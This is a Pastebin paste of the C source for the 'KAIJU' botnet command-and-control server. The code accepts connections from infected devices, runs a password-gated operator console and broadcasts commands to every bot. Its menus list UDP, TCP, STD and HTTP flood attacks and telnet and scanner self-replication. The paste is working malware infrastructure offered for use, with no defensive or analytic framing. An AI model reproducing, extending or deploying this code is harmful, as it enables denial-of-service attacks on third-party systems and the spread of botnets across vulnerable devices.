Advertisement
ApiGod

KAIJU Server Side (CNC)

Jan 20th, 2019
148
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.11 KB | None | 0 0
  1. //@APIGOD
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include <inttypes.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <unistd.h>
  11. #include <time.h>
  12. #include <fcntl.h>
  13. #include <sys/epoll.h>
  14. #include <errno.h>
  15. #include <pthread.h>
  16. #include <signal.h>
  17. #include <arpa/inet.h>
  18. #define MAXFDS 1000000
  19.  
  20. struct login_info {
  21. char username[100];
  22. char password[100];
  23. };
  24. static struct login_info accounts[100];
  25. struct clientdata_t {
  26. uint32_t ip;
  27. char connected;
  28. } clients[MAXFDS];
  29. struct telnetdata_t {
  30. int connected;
  31. } managements[MAXFDS];
  32. struct args {
  33. int sock;
  34. struct sockaddr_in cli_addr;
  35. };
  36. static volatile FILE *telFD;
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int OperatorsConnected = 0;
  41. static volatile int TELFound = 0;
  42. static volatile int scannerreport;
  43.  
  44. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  45. int total = 0, got = 1;
  46. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  47. return got;
  48. }
  49. void trim(char *str) {
  50. int i;
  51. int begin = 0;
  52. int end = strlen(str) - 1;
  53. while (isspace(str[begin])) begin++;
  54. while ((end >= begin) && isspace(str[end])) end--;
  55. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  56. str[i - begin] = '\0';
  57. }
  58. static int make_socket_non_blocking (int sfd) {
  59. int flags, s;
  60. flags = fcntl (sfd, F_GETFL, 0);
  61. if (flags == -1) {
  62. perror ("fcntl");
  63. return -1;
  64. }
  65. flags |= O_NONBLOCK;
  66. s = fcntl (sfd, F_SETFL, flags);
  67. if (s == -1) {
  68. perror ("fcntl");
  69. return -1;
  70. }
  71. return 0;
  72. }
  73. static int create_and_bind (char *port) {
  74. struct addrinfo hints;
  75. struct addrinfo *result, *rp;
  76. int s, sfd;
  77. memset (&hints, 0, sizeof (struct addrinfo));
  78. hints.ai_family = AF_UNSPEC;
  79. hints.ai_socktype = SOCK_STREAM;
  80. hints.ai_flags = AI_PASSIVE;
  81. s = getaddrinfo (NULL, port, &hints, &result);
  82. if (s != 0) {
  83. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  84. return -1;
  85. }
  86. for (rp = result; rp != NULL; rp = rp->ai_next) {
  87. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  88. if (sfd == -1) continue;
  89. int yes = 1;
  90. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  91. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  92. if (s == 0) {
  93. break;
  94. }
  95. close (sfd);
  96. }
  97. if (rp == NULL) {
  98. fprintf (stderr, "Could not bind\n");
  99. return -1;
  100. }
  101. freeaddrinfo (result);
  102. return sfd;
  103. }
  104. void broadcast(char *msg, int us, char *sender)
  105. {
  106. int sendMGM = 1;
  107. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  108. char *wot = malloc(strlen(msg) + 10);
  109. memset(wot, 0, strlen(msg) + 10);
  110. strcpy(wot, msg);
  111. trim(wot);
  112. time_t rawtime;
  113. struct tm * timeinfo;
  114. time(&rawtime);
  115. timeinfo = localtime(&rawtime);
  116. char *timestamp = asctime(timeinfo);
  117. trim(timestamp);
  118. int i;
  119. for(i = 0; i < MAXFDS; i++)
  120. {
  121. if(i == us || (!clients[i].connected)) continue;
  122. if(sendMGM && managements[i].connected)
  123. {
  124. send(i, "\x1b[1;35m", 9, MSG_NOSIGNAL);
  125. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  126. send(i, ": ", 2, MSG_NOSIGNAL);
  127. }
  128. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  129. send(i, "\n", 1, MSG_NOSIGNAL);
  130. }
  131. free(wot);
  132. }
  133. void *BotEventLoop(void *useless) {
  134. struct epoll_event event;
  135. struct epoll_event *events;
  136. int s;
  137. events = calloc (MAXFDS, sizeof event);
  138. while (1) {
  139. int n, i;
  140. n = epoll_wait (epollFD, events, MAXFDS, -1);
  141. for (i = 0; i < n; i++) {
  142. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  143. clients[events[i].data.fd].connected = 0;
  144. close(events[i].data.fd);
  145. continue;
  146. }
  147. else if (listenFD == events[i].data.fd) {
  148. while (1) {
  149. struct sockaddr in_addr;
  150. socklen_t in_len;
  151. int infd, ipIndex;
  152.  
  153. in_len = sizeof in_addr;
  154. infd = accept (listenFD, &in_addr, &in_len);
  155. if (infd == -1) {
  156. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  157. else {
  158. perror ("accept");
  159. break;
  160. }
  161. }
  162.  
  163. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  164. int dup = 0;
  165. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  166. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  167. if(clients[ipIndex].ip == clients[infd].ip) {
  168. dup = 1;
  169. break;
  170. }}
  171. if(dup) {
  172. if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  173. close(infd);
  174. continue;
  175. }
  176. s = make_socket_non_blocking (infd);
  177. if (s == -1) { close(infd); break; }
  178. event.data.fd = infd;
  179. event.events = EPOLLIN | EPOLLET;
  180. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  181. if (s == -1) {
  182. perror ("epoll_ctl");
  183. close(infd);
  184. break;
  185. }
  186. clients[infd].connected = 1;
  187. }
  188. continue;
  189. }
  190. else {
  191. int datafd = events[i].data.fd;
  192. struct clientdata_t *client = &(clients[datafd]);
  193. int done = 0;
  194. client->connected = 1;
  195. while (1) {
  196. ssize_t count;
  197. char buf[2048];
  198. memset(buf, 0, sizeof buf);
  199. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  200. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  201. trim(buf);
  202. if(strcmp(buf, "PING") == 0) {
  203. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  204. continue;
  205. }
  206. if(strstr(buf, "REPORT ") == buf) {
  207. char *line = strstr(buf, "REPORT ") + 7;
  208. fprintf(telFD, "%s\n", line);
  209. fflush(telFD);
  210. TELFound++;
  211. continue;
  212. }
  213. if(strstr(buf, "PROBING") == buf) {
  214. char *line = strstr(buf, "PROBING");
  215. scannerreport = 1;
  216. continue;
  217. }
  218. if(strstr(buf, "REMOVING PROBE") == buf) {
  219. char *line = strstr(buf, "REMOVING PROBE");
  220. scannerreport = 0;
  221. continue;
  222. }
  223. if(strcmp(buf, "PONG") == 0) {
  224. continue;
  225. }
  226. printf("buf: \"%s\"\n", buf);
  227. }
  228. if (count == -1) {
  229. if (errno != EAGAIN) {
  230. done = 1;
  231. }
  232. break;
  233. }
  234. else if (count == 0) {
  235. done = 1;
  236. break;
  237. }
  238. if (done) {
  239. client->connected = 0;
  240. close(datafd);
  241. }}}}}}
  242. unsigned int BotsConnected() {
  243. int i = 0, total = 0;
  244. for(i = 0; i < MAXFDS; i++) {
  245. if(!clients[i].connected) continue;
  246. total++;
  247. }
  248. return total;
  249. }
  250. int Find_Login(char *str) {
  251. FILE *fp;
  252. int line_num = 0;
  253. int find_result = 0, find_line=0;
  254. char temp[512];
  255.  
  256. if((fp = fopen("login.txt", "r")) == NULL){
  257. return(-1);
  258. }
  259. while(fgets(temp, 512, fp) != NULL){
  260. if((strstr(temp, str)) != NULL){
  261. find_result++;
  262. find_line = line_num;
  263. }
  264. line_num++;
  265. }
  266. if(fp)
  267. fclose(fp);
  268. if(find_result == 0)return 0;
  269. return find_line;
  270. }
  271.  
  272. void *BotWorker(void *sock) {
  273. int datafd = (int)sock;
  274. int find_line;
  275. OperatorsConnected++;
  276. pthread_t title;
  277. char buf[2048];
  278. char* username;
  279. char* password;
  280. memset(buf, 0, sizeof buf);
  281. char botnet[2048];
  282. memset(botnet, 0, 2048);
  283. char botcount [2048];
  284. memset(botcount, 0, 2048);
  285. char statuscount [2048];
  286. memset(statuscount, 0, 2048);
  287.  
  288. FILE *fp;
  289. int i=0;
  290. int c;
  291. fp=fopen("login.txt", "r");
  292. while(!feof(fp)) {
  293. c=fgetc(fp);
  294. ++i;
  295. }
  296. int j=0;
  297. rewind(fp);
  298. while(j!=i-1) {
  299. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  300. ++j;
  301. }
  302.  
  303. char clearscreen [2048];
  304. memset(clearscreen, 0, 2048);
  305. sprintf(clearscreen, "\033[1A");
  306. char user [5000];
  307.  
  308. sprintf(user, "\e[32mUsername\e[97m: ");
  309.  
  310. if(send(datafd, user, strlen(user), MSG_NOSIGNAL) == -1) goto end;
  311. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  312. trim(buf);
  313. char* nickstring;
  314. sprintf(accounts[find_line].username, buf);
  315. nickstring = ("%s", buf);
  316. find_line = Find_Login(nickstring);
  317. if(strcmp(nickstring, accounts[find_line].username) == 0){
  318. char password [5000];
  319. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  320. sprintf(password, "\e[32mPassword\e[97m: ", accounts[find_line].username);
  321. if(send(datafd, password, strlen(password), MSG_NOSIGNAL) == -1) goto end;
  322.  
  323. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  324.  
  325. trim(buf);
  326. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  327. memset(buf, 0, 2048);
  328.  
  329. char yes1 [500];
  330. char yes2 [500];
  331. char yes3 [500];
  332. char yes4 [500];
  333. char yes5 [500];
  334.  
  335. sprintf(yes1, "\e[32mPlease wait... I am verifying your credentials \e[90m[\e[32m|\e[90m]\r\n", accounts[find_line].username);
  336. sprintf(yes2, "\e[32mPlease wait... I am verifying your credentials \e[90m[\e[32m/\e[90m]\r\n", accounts[find_line].username);
  337. sprintf(yes3, "\e[32mPlease wait... I am verifying your credentials \e[90m[\e[32m-\e[90m]\r\n", accounts[find_line].username);
  338. sprintf(yes4, "\e[32mPlease wait... I am verifying your credentials \e[90m[\e[32m/\e[90m]\r\n", accounts[find_line].username);
  339. sprintf(yes5, "\e[32mPlease wait... I am verifying your credentials \e[90m[\e[32m-\e[90m]\r\n", accounts[find_line].username);
  340.  
  341.  
  342. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  343. if(send(datafd, yes1, strlen(yes1), MSG_NOSIGNAL) == -1) goto end;
  344. sleep (1);
  345. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  346. if(send(datafd, yes2, strlen(yes2), MSG_NOSIGNAL) == -1) goto end;
  347. sleep (1);
  348. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  349. if(send(datafd, yes3, strlen(yes3), MSG_NOSIGNAL) == -1) goto end;
  350. sleep (1);
  351. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  352. if(send(datafd, yes4, strlen(yes4), MSG_NOSIGNAL) == -1) goto end;
  353. sleep (1);
  354. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  355. if(send(datafd, yes5, strlen(yes5), MSG_NOSIGNAL) == -1) goto end;
  356. sleep (1);
  357. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  358.  
  359. goto Banner;
  360. }
  361. void *TitleWriter(void *sock) {
  362. int datafd = (int)sock;
  363. char string[2048];
  364. while(1) {
  365. memset(string, 0, 2048);
  366. sprintf(string, "%c]0; Devices Connected [ %d ] | [ %s ] - Users [ %d ]%c", '\033', BotsConnected(), accounts[find_line].username, OperatorsConnected, '\007');
  367. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  368. sleep(2);
  369. }
  370. }
  371. failed:
  372. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  373. goto end;
  374.  
  375. Banner:
  376. pthread_create(&title, NULL, &TitleWriter, sock);
  377. char ascii_banner_line1 [5000];
  378. char ascii_banner_line2 [5000];
  379. char ascii_banner_line3 [5000];
  380. char ascii_banner_line4 [5000];
  381. char ascii_banner_line5 [5000];
  382. char ascii_banner_line6 [5000];
  383. char ascii_banner_line7 [5000];
  384. char ascii_banner_line8 [5000];
  385. char ascii_banner_line9 [5000];
  386. char ascii_banner_line10 [5000];
  387. char ascii_banner_line11 [5000];
  388. char ascii_banner_line12 [5000];
  389. char ascii_banner_line13 [5000];
  390. char ascii_banner_line14 [5000];
  391.  
  392. sprintf(ascii_banner_line1, "\e[90m                                                         \r\n");
  393. sprintf(ascii_banner_line2, "\e[32m ▄█ ▄█▄ ▄████████ ▄█ ▄█ ███ █▄ \r\n");
  394. sprintf(ascii_banner_line3, "\e[32m ███ ▄███▀ ███ ███ ███ ███ ███ ███ \r\n");
  395. sprintf(ascii_banner_line4, "\e[32m ███▐██▀ ███ ███ ███▌ ███ ███ ███ \r\n");
  396. sprintf(ascii_banner_line5, "\e[32m ▄█████▀ ███ ███ ███▌ ███ ███ ███ \r\n");
  397. sprintf(ascii_banner_line6, "\e[32m ▀▀█████▄ ▀███████████ ███▌ ███ ███ ███ \r\n");
  398. sprintf(ascii_banner_line7, "\e[32m ███▐██▄ ███ ███ ███ ███ ███ ███ \r\n");
  399. sprintf(ascii_banner_line8, "\e[32m ███ ▀███▄ ███ ███ ███ ███ ███ ███ \r\n");
  400. sprintf(ascii_banner_line9, "\e[32m ███ ▀█▀ ███ █▀ █▀ █▄ ▄███ ████████▀ \r\n");
  401. sprintf(ascii_banner_line10, "\e[32m ▀ ▀▀▀▀▀▀ \r\n");
  402. sprintf(ascii_banner_line11, "\e[90m \r\n");
  403. sprintf(ascii_banner_line12, "\e[90m [\e[32m+\e[90m] \e[90mWelcome to the \e[32mKAIJU \e[90mBotnet \e[90m[\e[32m+\e[90m] \r\n");
  404. sprintf(ascii_banner_line13, "\e[90m [\e[32m+\e[90m] \e[32mKAIJU \e[90mServerside by switch \e[90m[\e[32m+\e[90m] \r\n");
  405. sprintf(ascii_banner_line14, "\e[90m \r\n");
  406.  
  407.  
  408. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  409. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  410. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  411. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  412. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  413. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  414. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  415. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  416. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  417. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  418. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  419. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  420. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  421. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  422. while(1) {
  423. char input [5000];
  424. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  425. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  426. break;
  427. }
  428. pthread_create(&title, NULL, &TitleWriter, sock);
  429. managements[datafd].connected = 1;
  430.  
  431. while(fdgets(buf, sizeof buf, datafd) > 0) {
  432. if(strstr(buf, "BOTS")) {
  433. char botcount [2048];
  434. memset(botcount, 0, 2048);
  435. char statuscount [2048];
  436. char ops [2048];
  437. memset(statuscount, 0, 2048);
  438. sprintf(botcount, "\e[32mDevices Connected: \e[32m%d\r\n", BotsConnected(), OperatorsConnected);
  439. sprintf(statuscount, "\e[32mDups: \e[32m%d\r\n", TELFound, scannerreport);
  440. sprintf(ops, "\e[32mUsers Online: \e[32m%d\r\n", OperatorsConnected, scannerreport);
  441. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  442. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  443. if(send(datafd, ops, strlen(ops), MSG_NOSIGNAL) == -1) return;
  444. char input [5000];
  445. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  446. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  447. continue;
  448. }
  449.  
  450. if(strstr(buf, "HELP")) {
  451. pthread_create(&title, NULL, &TitleWriter, sock);
  452. char hp1 [800];
  453. char hp2 [800];
  454. char hp3 [800];
  455. char hp4 [800];
  456. char hp5 [800];
  457. char hp6 [800];
  458. char hp7 [800];
  459.  
  460. sprintf(hp1, "\e[90m[---\e[32mList Of Helpfull Commands\e[90m---]\r\n");
  461. sprintf(hp2, "\e[32mSTOP \e[90m| \e[32mKills All Current Attacks\r\n");
  462. sprintf(hp3, "\e[32mATTACK \e[90m| \e[32mDisplays Help For DDoS Commands\r\n");
  463. sprintf(hp4, "\e[32mCLEAR \e[90m| \e[32mClears You Screen\r\n");
  464. sprintf(hp5, "\e[32m!* TELNET \e[90m| \e[32mON \e[90m| \e[90mOFF | \e[32mStarts Telnet Selfrep\r\n");
  465. sprintf(hp6, "\e[32m!* PHONE \e[90m| \e[32mON \e[90m| \e[90mOFF | \e[32mStarts Phone Selfrep\r\n");
  466. sprintf(hp7, "\e[32m!* SCANNER \e[90m| \e[32mON \e[90m| \e[90mOFF | \e[32mStarts Scanner Selfrep\r\n");
  467.  
  468. if(send(datafd, hp1, strlen(hp1), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(datafd, hp2, strlen(hp2), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(datafd, hp3, strlen(hp3), MSG_NOSIGNAL) == -1) goto end;
  471. if(send(datafd, hp4, strlen(hp4), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(datafd, hp5, strlen(hp5), MSG_NOSIGNAL) == -1) goto end;
  473. if(send(datafd, hp6, strlen(hp6), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(datafd, hp7, strlen(hp7), MSG_NOSIGNAL) == -1) goto end;
  475.  
  476. pthread_create(&title, NULL, &TitleWriter, sock);
  477. char input [5000];
  478. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  479. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  480. continue;
  481. }
  482. if(strstr(buf, "ATTACK")) {
  483. pthread_create(&title, NULL, &TitleWriter, sock);
  484. char ls1 [800];
  485. char ls2 [800];
  486. char ls3 [800];
  487. char ls4 [800];
  488. char ls5 [800];
  489.  
  490. sprintf(ls1, "\e[90m[----\e[32mAttack Commands\e[90m----]\r\n");
  491. sprintf(ls2, "\e[32m!* UDP \e[32mIP PORT TIME 32 0 10 \e[90m|\e[32m Launches A UDP Flood\r\n");
  492. sprintf(ls3, "\e[32m!* TCP \e[32mIP PORT TIME 32 all 0 10 \e[90m|\e[32m Launches A TCP Flood\r\n");
  493. sprintf(ls4, "\e[32m!* STD \e[32mIP PORT TIME SIZE \e[90m|\e[32m Launches A STD Flood\r\n");
  494. sprintf(ls5, "\e[32m!* HTTP \e[32mGET|HEAD|POST IP 80 / TIME POWER \e[90m|\e[32m Launches A HTTP Flood\r\n");
  495.  
  496. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  498. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  499. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  500. if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
  501.  
  502. pthread_create(&title, NULL, &TitleWriter, sock);
  503. char input [5000];
  504. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  505. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  506. continue;
  507. }
  508. if(strstr(buf, "!* BOTKILL")) {
  509. char gtfomynet [2048];
  510. memset(gtfomynet, 0, 2048);
  511. sprintf(gtfomynet, "!* BOTKILL\r\n");
  512. broadcast(buf, datafd, gtfomynet);
  513. continue;
  514. }
  515. if(strstr(buf, "STOP"))
  516. {
  517. char killattack [2048];
  518. memset(killattack, 0, 2048);
  519. char killattack_msg [2048];
  520.  
  521. sprintf(killattack, "\e[32m[ATTACKS] \e[32mAttempting To Stop All Attacks\r\n");
  522. broadcast(killattack, datafd, "output.");
  523. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  524. while(1) {
  525. char input [5000];
  526. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  527. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  528. break;
  529. }
  530. continue;
  531. }
  532. if(strstr(buf, "CLEAR")) {
  533. char clearscreen [2048];
  534. memset(clearscreen, 0, 2048);
  535. sprintf(clearscreen, "\033[2J\033[1;1H");
  536. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  537. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  538. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  539. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  540. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  542. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  543. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  544. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  545. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  546. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  547. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  548. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  549. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  550. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  551. while(1) {
  552. char input [5000];
  553. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  554. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  555. break;
  556. }
  557. continue;
  558. }
  559. if(strstr(buf, "EXIT")) {
  560. char logoutmessage [2048];
  561. memset(logoutmessage, 0, 2048);
  562. sprintf(logoutmessage, "\e[96m[LOGOUT] \e[31m%s Has Been Logged Out", accounts[find_line].username);
  563. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  564. sleep(2);
  565. goto end;
  566. }
  567.  
  568. trim(buf);
  569. char input [5000];
  570. sprintf(input, "\e[90m%s\e[37m@\e[32mKAIJU\e[37m>\e[37m ", accounts[find_line].username);
  571. if(send(datafd, input, strlen(input), MSG_NOSIGNAL) == -1) goto end;
  572. if(strlen(buf) == 0) continue;
  573. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  574.  
  575. FILE *LogFile;
  576. LogFile = fopen("history.log", "a");
  577. time_t now;
  578. struct tm *gmt;
  579. char formatted_gmt [50];
  580. char lcltime[50];
  581. now = time(NULL);
  582. gmt = gmtime(&now);
  583. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  584. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  585. fclose(LogFile);
  586. broadcast(buf, datafd, accounts[find_line].username);
  587. memset(buf, 0, 2048);
  588. }
  589.  
  590. end:
  591. managements[datafd].connected = 0;
  592. close(datafd);
  593. OperatorsConnected--;
  594. }
  595. void *BotListener(int port) {
  596. int sockfd, newsockfd;
  597. socklen_t clilen;
  598. struct sockaddr_in serv_addr, cli_addr;
  599. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  600. if (sockfd < 0) perror("ERROR opening socket");
  601. bzero((char *) &serv_addr, sizeof(serv_addr));
  602. serv_addr.sin_family = AF_INET;
  603. serv_addr.sin_addr.s_addr = INADDR_ANY;
  604. serv_addr.sin_port = htons(port);
  605. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  606. listen(sockfd,5);
  607. clilen = sizeof(cli_addr);
  608. while(1) {
  609. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  610. if (newsockfd < 0) perror("ERROR on accept");
  611. pthread_t thread;
  612. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  613. }}
  614. int main (int argc, char *argv[], void *sock) {
  615. signal(SIGPIPE, SIG_IGN);
  616. int s, threads, port;
  617. struct epoll_event event;
  618. if (argc != 4) {
  619. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  620. exit (EXIT_FAILURE);
  621. }
  622. port = atoi(argv[3]);
  623. telFD = fopen("telnet.txt", "a+");
  624. threads = atoi(argv[2]);
  625. listenFD = create_and_bind (argv[1]);
  626. if (listenFD == -1) abort ();
  627. s = make_socket_non_blocking (listenFD);
  628. if (s == -1) abort ();
  629. s = listen (listenFD, SOMAXCONN);
  630. if (s == -1) {
  631. perror ("listen");
  632. abort ();
  633. }
  634. epollFD = epoll_create1 (0);
  635. if (epollFD == -1) {
  636. perror ("epoll_create");
  637. abort ();
  638. }
  639. event.data.fd = listenFD;
  640. event.events = EPOLLIN | EPOLLET;
  641. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  642. if (s == -1) {
  643. perror ("epoll_ctl");
  644. abort ();
  645. }
  646. pthread_t thread[threads + 2];
  647. while(threads--) {
  648. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  649. }
  650. pthread_create(&thread[0], NULL, &BotListener, port);
  651. while(1) {
  652. broadcast("PING", -1, "ZERO");
  653. sleep(60);
  654. }
  655. close (listenFD);
  656. return EXIT_SUCCESS;
  657. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement